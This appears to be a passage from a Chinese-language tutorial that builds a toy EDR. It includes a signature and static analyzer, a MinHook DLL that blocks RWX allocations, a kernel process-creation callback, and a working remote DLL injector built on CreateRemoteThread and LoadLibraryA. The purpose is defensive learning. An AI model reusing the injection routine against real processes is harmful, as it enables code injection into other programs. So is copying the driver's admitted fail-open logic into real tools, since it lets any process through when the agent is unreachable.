- BOOL isSigned = VerifyEmbeddedSignature(target_binary_file);
- if (isSigned == TRUE) {
- printf(“\t\033[32mBinary is signed.\033[0m\n”);
- }
- else {
- printf(“\t\033[31mBinary is not signed.\033[0m\n”);
- }
- wchar_t response[MESSAGE_SIZE] = { 0 };
- if (isSigned == TRUE) {
- swprintf_s(response, MESSAGE_SIZE, L“OK\0”);
- printf(“\t\033[32mStaticAnalyzer allows\033[0m\n”);
- }
- else {
- // If the following conditions are met, the binary is blocked
- if (isDangerousFunctionsFound || isSeDebugPrivilegeStringPresent) {
- swprintf_s(response, MESSAGE_SIZE, L“KO\0”);
- printf(“\n\t\033[31mStaticAnalyzer denies\033[0m\n”);
- }
- else {
- swprintf_s(response, MESSAGE_SIZE, L“OK\0”);
- printf(“\n\t\033[32mStaticAnalyzer allows\033[0m\n”);
- }
- }
- DWORD bytesWritten = 0;
- // Write to the named pipe
- WriteFile(
- hServerPipe, // Handle to the named pipe
- response, // Buffer to write from
- MESSAGE_SIZE, // Size of the buffer
- &bytesWritten, // Numbers of bytes written
- NULL // Whether or not the pipe supports overlapped operations
- );
- }
- // Disconnect
- DisconnectNamedPipe(
- hServerPipe // Handle to the named pipe
- );
- printf(“\n\n”);
- }
- return 0;
- }
动态检测
动态检测也分为两个部分,第一个是被注入的Dll,第二个是Dll的注入程序
DLL.cpp
- // dllmain.cpp : 定义 DLL 应用程序的入口点。
- // Defines the prototype of the NtAllocateVirtualMemoryFunction
- typedef DWORD(NTAPI* pNtAllocateVirtualMemory)(
- HANDLE ProcessHandle,
- PVOID* BaseAddress,
- ULONG_PTR ZeroBits,
- PSIZE_T RegionSize,
- ULONG AllocationType,
- ULONG Protect
- );
- // Pointer to the trampoline function used to call the original NtAllocateVirtualMemory
- pNtAllocateVirtualMemory pOriginalNtAllocateVirtualMemory = NULL;
- // This is the function that will be called whenever the injected process calls
- // NtAllocateVirtualMemory. This function takes the arguments Protect and checks
- // if the requested protection is RWX (which shouldn’t happen).
- DWORD NTAPI NtAllocateVirtualMemory(
- HANDLE ProcessHandle,
- PVOID* BaseAddress,
- ULONG_PTR ZeroBits,
- PSIZE_T RegionSize,
- ULONG AllocationType,
- ULONG Protect
- ) {
- // Checks if the program is trying to allocate some memory and protect it with RWX
- if (Protect == PAGE_EXECUTE_READWRITE) {
- // If yes, we notify the user and terminate the process
- MessageBox(NULL, L”Dude, are you trying to RWX me ?”, L”Found u bro”, MB_OK);
- TerminateProcess(GetCurrentProcess(), 0xdeadb33f);
- }
- //If no, we jump on the originate NtAllocateVirtualMemory
- return pOriginalNtAllocateVirtualMemory(ProcessHandle, BaseAddress, ZeroBits, RegionSize, AllocationType, Protect);
- }
- // This function initializes the hooks via the MinHook library
- DWORD WINAPI InitHooksThread(LPVOID param) {
- if (MH_Initialize() != MH_OK) {
- return -1;
- }
- // Here we specify which function from wich DLL we want to hook
- MH_CreateHookApi(
- L”ntdll”, // Name of the DLL containing the function to hook
- “NtAllocateVirtualMemory”, // Name of the function to hook
- NtAllocateVirtualMemory, // Address of the function on which to jump when hooking
- (LPVOID*)(&pOriginalNtAllocateVirtualMemory) // Address of the original NtAllocateVirtualMemory function
- );
- // Enable the hook on NtAllocateVirtualMemory
- MH_STATUS status = MH_EnableHook(MH_ALL_HOOKS);
- return status;
- }
- // Here is the DllMain of our DLL
- BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
- switch (ul_reason_for_call) {
- case DLL_PROCESS_ATTACH: {
- // This DLL will not be loaded by any thread so we simply disable DLL_TRHEAD_ATTACH and DLL_THREAD_DETACH
- DisableThreadLibraryCalls(hModule);
- // Calling WinAPI32 functions from the DllMain is a very bad practice
- // since it can basically lock the program loading the DLL
- // Microsoft recommends not using any functions here except a few one like
- // CreateThread IF AND ONLY IF there is no need for synchronization
- // So basically we are creating a thread that will execute the InitHooksThread function
- // thus allowing us hooking the NtAllocateVirtualMemory function
- HANDLE hThread = CreateThread(NULL, 0, InitHooksThread, NULL, 0, NULL);
- if (hThread != NULL) {
- CloseHandle(hThread);
- }
- break;
- }
- case DLL_PROCESS_DETACH:
- break;
- }
- return TRUE;
- }
- int main() {
- LPCWSTR pipeName = L”\\\\.\\pipe\\dumbedr-injector”;
- DWORD bytesRead = 0;
- wchar_t target_binary_file[MESSAGE_SIZE] = { 0 };
- char dll_path[] = “MyDumbEDRDLL.dll”;
- char dll_full_path[MAX_PATH];
- GetFullPathNameA(dll_path, MAX_PATH, dll_full_path, NULL);
- printf(“Launching injector named pipe server, injecting %s\n”, dll_full_path);
- // Creates a named pipe
- HANDLE hServerPipe = CreateNamedPipe(
- pipeName, // Pipe name to create
- PIPE_ACCESS_DUPLEX, // Whether the pipe is supposed to receive or send data (can be both)
- PIPE_TYPE_MESSAGE, // Pipe mode (whether or not the pipe is waiting for data)
- PIPE_UNLIMITED_INSTANCES, // Maximum number of instances from 1 to PIPE_UNLIMITED_INSTANCES
- MESSAGE_SIZE, // Number of bytes for output buffer
- MESSAGE_SIZE, // Number of bytes for input buffer
- 0, // Pipe timeout
- NULL // Security attributes (anonymous connection or may be needs credentials. )
- );
- while (TRUE) {
- // ConnectNamedPipe enables a named pipe server to start listening for incoming connections
- BOOL isPipeConnected = ConnectNamedPipe(
- hServerPipe, // Handle to the named pipe
- NULL // Whether or not the pipe supports overlapped operations
- );
- wchar_t message[MESSAGE_SIZE] = { 0 };
- if (isPipeConnected) {
- // Read from the named pipe
- ReadFile(
- hServerPipe, // Handle to the named pipe
- &message, // Target buffer where to stock the output
- MESSAGE_SIZE, // Size of the buffer
- &bytesRead, // Number of bytes read from ReadFile
- NULL // Whether or not the pipe supports overlapped operations
- );
- // Casting the message into a DWORD
- DWORD target_pid = _wtoi(message);
- printf(“~> Received process id %d\n”, target_pid);
- // Opening the process with necessary privileges
- HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, target_pid);
- if (hProcess == NULL) {
- printf(“Can’t open handle, error: % lu\n”, GetLastError());
- return FALSE;
- }
- printf(“\tOpen handle on PID: %d\n”, target_pid);
- // Looking for the LoadLibraryA function in the kernel32.dll
- FARPROC loadLibAddress = GetProcAddress(GetModuleHandle(L”kernel32.dll”), “LoadLibraryA”);
- if (loadLibAddress == NULL) {
- printf(“Could not find LoadLibraryA, error: %lu\n”, GetLastError());
- return FALSE;
- }
- printf(“\tFound LoadLibraryA function\n”);
- // Allocating some memory wth read/write privileges
- LPVOID vae_buffer;
- vae_buffer = VirtualAllocEx(hProcess, NULL, MAX_PATH, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
- if (vae_buffer == NULL) {
- printf(“Can’t allocate memory, error: %lu\n”, GetLastError());
- CloseHandle(hProcess);
- return FALSE;
- }
- printf(“\tAllocated: %d bytes\n”, MAX_PATH);
- // Writing the path of the DLL to inject: x64\Debug\MyDumbEDRDLL.dll
- SIZE_T bytesWritten;
- if (!WriteProcessMemory(hProcess, vae_buffer, dll_full_path, MAX_PATH, &bytesWritten)) {
- printf(“Can’t write into memory, error: %lu\n”, GetLastError());
- VirtualFreeEx(hProcess, vae_buffer, MESSAGE_SIZE, MEM_RELEASE);
- CloseHandle(hProcess);
- return FALSE;
- }
- printf(“\tWrote %zu in %d process memory\n”, bytesWritten, target_pid);
- // Creating a thread that will call LoadLibraryA and the path of the MyDUMBEDRDLL to load as argument
- HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)loadLibAddress, vae_buffer, 0, NULL);
- if (hThread == NULL) {
- printf(“Can’t launch remote thread, error: %lu\n”, GetLastError());
- VirtualFreeEx(hProcess, vae_buffer, MESSAGE_SIZE, MEM_RELEASE);
- CloseHandle(hProcess);
- return FALSE;
- }
- printf(“\tLaunched remote thread\n”);
- // Freeing allocated memory as well as handles
- VirtualFreeEx(hProcess, vae_buffer, MESSAGE_SIZE, MEM_RELEASE);
- CloseHandle(hThread);
- CloseHandle(hProcess);
- printf(“\tClosed handle\n”);
- wchar_t response[MESSAGE_SIZE] = { 0 };
- swprintf_s(response, MESSAGE_SIZE, L”OK\0″);
- DWORD pipeBytesWritten = 0;
- // Inform the driver that the injection was successful
- WriteFile(
- hServerPipe, // Handle to the named pipe
- response, // Buffer to write from
- MESSAGE_SIZE, // Size of the buffer
- &pipeBytesWritten, // Numbers of bytes written
- NULL // Whether or not the pipe supports overlapped operations
- );
- // Disconnect
- DisconnectNamedPipe(
- hServerPipe // Handle to the named pipe
- );
- printf(“\n\n”);
- }
- }
- }
- // Needs to be set on the project properties as well
- // Maximum size of the buffers used to communicate via Named Pipes
- UNICODE_STRING DEVICE_NAME = RTL_CONSTANT_STRING(L“\\Device\\MyDumbEDR”); // Internal driver device name, cannot be used userland
- UNICODE_STRING SYM_LINK = RTL_CONSTANT_STRING(L“\\??\\MyDumbEDR”); // Symlink used to reach the driver, can be used userland
- /*
- This function is sending the path as well as the name of the binary being launched
- to the DumbEDRAnalyzer agent running in userland
- */
- int analyze_binary(wchar_t* binary_file_path) {
- UNICODE_STRING pipeName; // String containing the name of the named
- // Initialize a UNICODE_STRING structure containing the name of the named pipe
- RtlInitUnicodeString(
- &pipeName, // Variable in which we will store the UNICODE_STRING structure
- L“\\??\\pipe\\dumbedr-analyzer” // Wide string containing the name of the named pipe
- );
- HANDLE hPipe; // Handle that we will use to communicate with the named pipe
- OBJECT_ATTRIBUTES fattrs = { 0 }; // Objects Attributes used to store information when calling ZwCreateFile
- IO_STATUS_BLOCK io_stat_block; // IO status block used to specify the state of a I/O request
- // Initialize an OBJECT_ATTRIBUTE structure pointing to our named pipe
- InitializeObjectAttributes(&fattrs, &pipeName, OBJ_CASE_INSENSITIVE | 0x0200, 0, NULL);
- // Reads from the named pipe
- NTSTATUS status = ZwCreateFile(
- &hPipe, // Handle to the named pipe
- FILE_WRITE_DATA | FILE_READ_DATA | SYNCHRONIZE, // File attribute (we need both read and write)
- &fattrs, // Structure containing the file attribute
- &io_stat_block, // Structure containing the I/O queue
- NULL, // Allocation size, not needed in that case
- 0, // Specific files attributes (not needed as well
- FILE_SHARE_READ | FILE_SHARE_WRITE, // File sharing access
- FILE_OPEN, // Specify the action we want to do on the file
- FILE_NON_DIRECTORY_FILE, // Specifying that the file is not a directory
- NULL, // Always NULL
- 0 // Always zero
- );
- // If we can obtain a handle on the named pipe then
- if (NT_SUCCESS(status)) {
- // Now we’ll send the binary path to the userland agent
- status = ZwWriteFile(
- hPipe, // Handle to the named pipe
- NULL, // Optionally a handle on an even object
- NULL, // Always NULL
- NULL, // Always NULL
- &io_stat_block, // Structure containing the I/O queue
- binary_file_path, // Buffer in which is stored the binary path
- MESSAGE_SIZE, // Maximum size of the buffer
- NULL, // Bytes offset (optional)
- NULL // Always NULL
- );
- DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ” ZwWriteFile: 0x%0.8x\n”, status);
- /*
- This function is needed when you are running read/write files operation so that the kernel driver
- makes sure that the reading/writing phase is done and you can keep running the code
- */
- status = ZwWaitForSingleObject(
- hPipe, // Handle the named pipe
- FALSE, // Whether or not we want the wait to be alertable
- NULL // An optional timeout
- );
- DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ” ZwWaitForSingleObject: 0x%0.8x\n”, status);
- wchar_t response[MESSAGE_SIZE] = { 0 };
- // Reading the respons from the named pipe (ie: if the binary is malicious or not based on static analysis)
- status = ZwReadFile(
- hPipe, // Handle to the named pipe
- NULL, // Optionally a handle on an even object
- NULL, // Always NULL
- NULL, // Always NULL
- &io_stat_block, // Structure containing the I/O queue
- &response, // Buffer in which to store the answer
- MESSAGE_SIZE, // Maximum size of the buffer
- NULL, // Bytes offset (optional)
- NULL // Always NULL
- );
- DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ” ZwReadFile: 0x%0.8x\n”, status);
- // Waiting again for the operation to be completed
- status = ZwWaitForSingleObject(
- hPipe,
- FALSE,
- NULL
- );
- DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ” ZwWaitForSingleObject: 0x%0.8x\n”, status);
- // Used to close a connection to the named pipe
- ZwClose(
- hPipe // Handle to the named pipe
- );
- if (wcscmp(response, L“OK\0”) == 0) {
- DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ” StaticAnalyzer: OK\n”, response);
- return 0;
- }
- else {
- DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ” StaticAnalyzer: KO\n”, response);
- return 0;
- // return 1;
- }
- }
- else {
- DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ” StaticAnalyzer unreachable. Allowing.\n”);
- return 0;
- }
- }
- int inject_dll(int pid) {
- UNICODE_STRING pipeName; // String containing the name of the named
- // Initialize a UNICODE_STRING structure containing the name of the named pipe
- RtlInitUnicodeString(
- &pipeName, // Variable in which we will store the UNICODE_STRING structure
- L“\\??\\pipe\\dumbedr-injector” // Wide string containing the name of the named pipe
- );
- HANDLE hPipe; // Handle that we will use to communicate with the named pipe
- OBJECT_ATTRIBUTES fattrs = { 0 }; // Objects Attributes used to store information when calling ZwCreateFile
- IO_STATUS_BLOCK io_stat_block; // IO status block used to specify the state of a I/O request
- // Initialize an OBJECT_ATTRIBUTE structure pointing to our named pipe
- InitializeObjectAttributes(&fattrs, &pipeName, OBJ_CASE_INSENSITIVE | 0x0200, 0, NULL);
- // Reads from the named pipe
- NTSTATUS status = ZwCreateFile(
- &hPipe, // Handle to the named pipe
- FILE_WRITE_DATA | FILE_READ_DATA | SYNCHRONIZE, // File attribute (we need both read and write)
- &fattrs, // Structure containing the file attribute
- &io_stat_block, // Structure containing the I/O queue
- NULL, // Allocation size, not needed in that case
- 0, // Specific files attributes (not needed as well
- FILE_SHARE_READ | FILE_SHARE_WRITE, // File sharing access
- FILE_OPEN, // Specify the action we want to do on the file
- FILE_NON_DIRECTORY_FILE, // Specifying that the file is not a directory
- NULL, // Always NULL
- 0 // Always zero
- );
- // If we can obtain a handle on the named pipe then
- if (NT_SUCCESS(status)) {
- wchar_t pid_to_inject[MESSAGE_SIZE] = { 0 };
- swprintf_s(pid_to_inject, MESSAGE_SIZE, L“%d\0”, pid);
- // Now we’ll send the binary path to the userland agent
- status = ZwWriteFile(
- hPipe, // Handle to the named pipe
- NULL, // Optionally a handle on an even object
- NULL, // Always NULL
- NULL, // Always NULL
- &io_stat_block, // Structure containing the I/O queue
- pid_to_inject, // Buffer in which is stored the binary path
- MESSAGE_SIZE, // Maximum size of the buffer
- NULL, // Bytes offset (optional)
- NULL // Always NULL
- );
- DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ” ZwWriteFile: 0x%0.8x\n”, status);
- /*
- This function is needed when you are running read/write files operation so that the kernel driver
- makes sure that the reading/writing phase is done and you can keep running the code
- */
- status = ZwWaitForSingleObject(
- hPipe, // Handle the named pipe
- FALSE, // Whether or not we want the wait to be alertable
- NULL // An optional timeout
- );
- DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ” ZwWaitForSingleObject: 0x%0.8x\n”, status);
- wchar_t response[MESSAGE_SIZE] = { 0 };
- // Reading the response from the named pipe (ie: if the binary is malicious or not based on static analysis)
- status = ZwReadFile(
- hPipe, // Handle to the named pipe
- NULL, // Optionally a handle on an even object
- NULL, // Always NULL
- NULL, // Always NULL
- &io_stat_block, // Structure containing the I/O queue
- &response, // Buffer in which to store the answer
- MESSAGE_SIZE, // Maximum size of the buffer
- NULL, // Bytes offset (optional)
- NULL // Always NULL
- );
- DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ” ZwReadFile: 0x%0.8x\n”, status);
- // Waiting again for the operation to be completed
- status = ZwWaitForSingleObject(
- hPipe,
- FALSE,
- NULL
- );
- DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ” ZwWaitForSingleObject: 0x%0.8x\n”, status);
- // Used to close a connection to the named pipe
- ZwClose(
- hPipe // Handle to the named pipe
- );
- if (wcscmp(response, L“OK\0”) == 0) {
- DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ” RemoteInjector: OK\n”, response);
- return 0;
- }
- else {
- DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ” RemoteInjector: KO\n”, response);
- return 1;
- }
- }
- else {
- DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ” RemoteInjector unreachable. Allowing.\n”);
- return 0;
- }
- }
- void CreateProcessNotifyRoutine(PEPROCESS parent_process, HANDLE pid, PPS_CREATE_NOTIFY_INFO createInfo) {
- UNREFERENCED_PARAMETER(parent_process);
- PEPROCESS process = NULL;
- PUNICODE_STRING processName = NULL;
- PsLookupProcessByProcessId(pid, &process);
- SeLocateProcessImageName(process, &processName);
- // Never forget this if check because if you don’t, you’ll end up crashing your Windows system ;P
- if (createInfo != NULL) {
- createInfo->CreationStatus = STATUS_SUCCESS;
- // Retrieve parent process ID and process name
- PsLookupProcessByProcessId(createInfo->ParentProcessId, &parent_process);
- PUNICODE_STRING parent_processName = NULL;
- SeLocateProcessImageName(parent_process, &parent_processName);
- DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, “[MyDumbEDR] Process %wZ created\n”, processName);
- DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ” PID: %d\n”, pid);
- DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ” Created by: %wZ\n”, parent_processName);
- DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ” ImageBase: %ws\n”, createInfo->ImageFileName->Buffer);
- POBJECT_NAME_INFORMATION objFileDosDeviceName;
- IoQueryFileDosDeviceName(createInfo->FileObject, &objFileDosDeviceName);
- DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ” DOS path: %ws\n”, objFileDosDeviceName->Name.Buffer);
- DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ” CommandLine: %ws\n”, createInfo->CommandLine->Buffer);
- // Compare the image base of the launched process to the dump_lasss string
- if (wcsstr(createInfo->ImageFileName->Buffer, L“ShellcodeInject.exe”) != NULL) {
- // Checks if the notepad keyword is found in the CommandLine
- if (wcsstr(createInfo->CommandLine->Buffer, L“notepad.exe”) != NULL) {
- DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ” State: DENIED command line\n”);
- createInfo->CreationStatus = STATUS_ACCESS_DENIED;
- return;
- }
- if (createInfo->FileOpenNameAvailable && createInfo->ImageFileName) {
- int analyzer_ret = analyze_binary(objFileDosDeviceName->Name.Buffer);
- DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ” State: analyze Static is %d\n”, analyzer_ret);
- if (analyzer_ret == 0) {
- DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ” State: Sending to injector\n”);
- int injector_ret = inject_dll((int)(intptr_t)pid);
- DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ” State: return injector ‘%d’\n”, injector_ret);
- if (injector_ret == 0) {
- DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ” State: PROCESS ALLOWED\n”);
- createInfo->CreationStatus = STATUS_SUCCESS;
- return;
- }
- else {
- DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ” State: PROCESS DENIED\n”);
- createInfo->CreationStatus = STATUS_ACCESS_DENIED;
- return;
- }
- }
- else {
- DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ” State: Denied by StaticAnalyzer\n”);
- createInfo->CreationStatus = STATUS_ACCESS_DENIED;
- return;
- }
- }
- }
- }
- // Logical bug here, if the agent is not running, the driver will always allow the creation of the process
- else {
- DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, “[MyDumbEDR] Process %wZ killed\n”, processName);
- }
- }
- void UnloadMyDumbEDR(_In_ PDRIVER_OBJECT DriverObject) {
- DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, “[MyDumbEDR] Unloading routine called\n”);
- // Unset the callback
- PsSetCreateProcessNotifyRoutineEx((PCREATE_PROCESS_NOTIFY_ROUTINE_EX)CreateProcessNotifyRoutine, TRUE);
- // Delete the driver device
- IoDeleteDevice(DriverObject->DeviceObject);
- // Delete the symbolic link
- IoDeleteSymbolicLink(&SYM_LINK);
- }
- NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) {
- // Prevent compiler error such as unreferenced parameter (error 4)
- UNREFERENCED_PARAMETER(RegistryPath);
- DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, “[MyDumbEDR] Initializing the EDR’s driver\n”);
- // Variable that will store the output of WinAPI functions
- NTSTATUS status;
- // Setting the unload routine to execute
- DriverObject->DriverUnload = UnloadMyDumbEDR;
- // Initializing a device object and creating it
- PDEVICE_OBJECT DeviceObject;
- UNICODE_STRING deviceName = DEVICE_NAME;
- UNICODE_STRING symlinkName = SYM_LINK;
- status = IoCreateDevice(
- DriverObject, // our driver object,
- 0, // no need for extra bytes,
- &deviceName, // the device name,
- FILE_DEVICE_UNKNOWN, // device type,
- 0, // characteristics flags,
- FALSE, // not exclusive,
- &DeviceObject // the resulting pointer
- );
- if (!NT_SUCCESS(status)) {
- DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, “[MyDumbEDR] Device creation failed\n”);
- return status;
- }
- // Creating the symlink that we will use to contact our driver
- status = IoCreateSymbolicLink(&symlinkName, &deviceName);
- if (!NT_SUCCESS(status)) {
- DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, “[MyDumbEDR] Symlink creation failed\n”);
- IoDeleteDevice(DeviceObject);
- return status;
- }
- NTSTATUS ret = PsSetCreateProcessNotifyRoutineEx(CreateProcessNotifyRoutine, FALSE);
- if (ret == STATUS_SUCCESS) {
- DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, “[MyDumbEDR] Driver launched successfully\n”);
- }
- else if (ret == STATUS_INVALID_PARAMETER) {
- DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, “[MyDumbEDR] Invalid parameter\n”);
- }
- else if (ret == STATUS_ACCESS_DENIED) {
- DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, “[MyDumbEDR] Access denied\n”);
- }
- return 0;
- }
代码分析
- sc start MyDumbEDR
- analyze_static.exe
- MyDumbEDRRemoteInjector.exe

























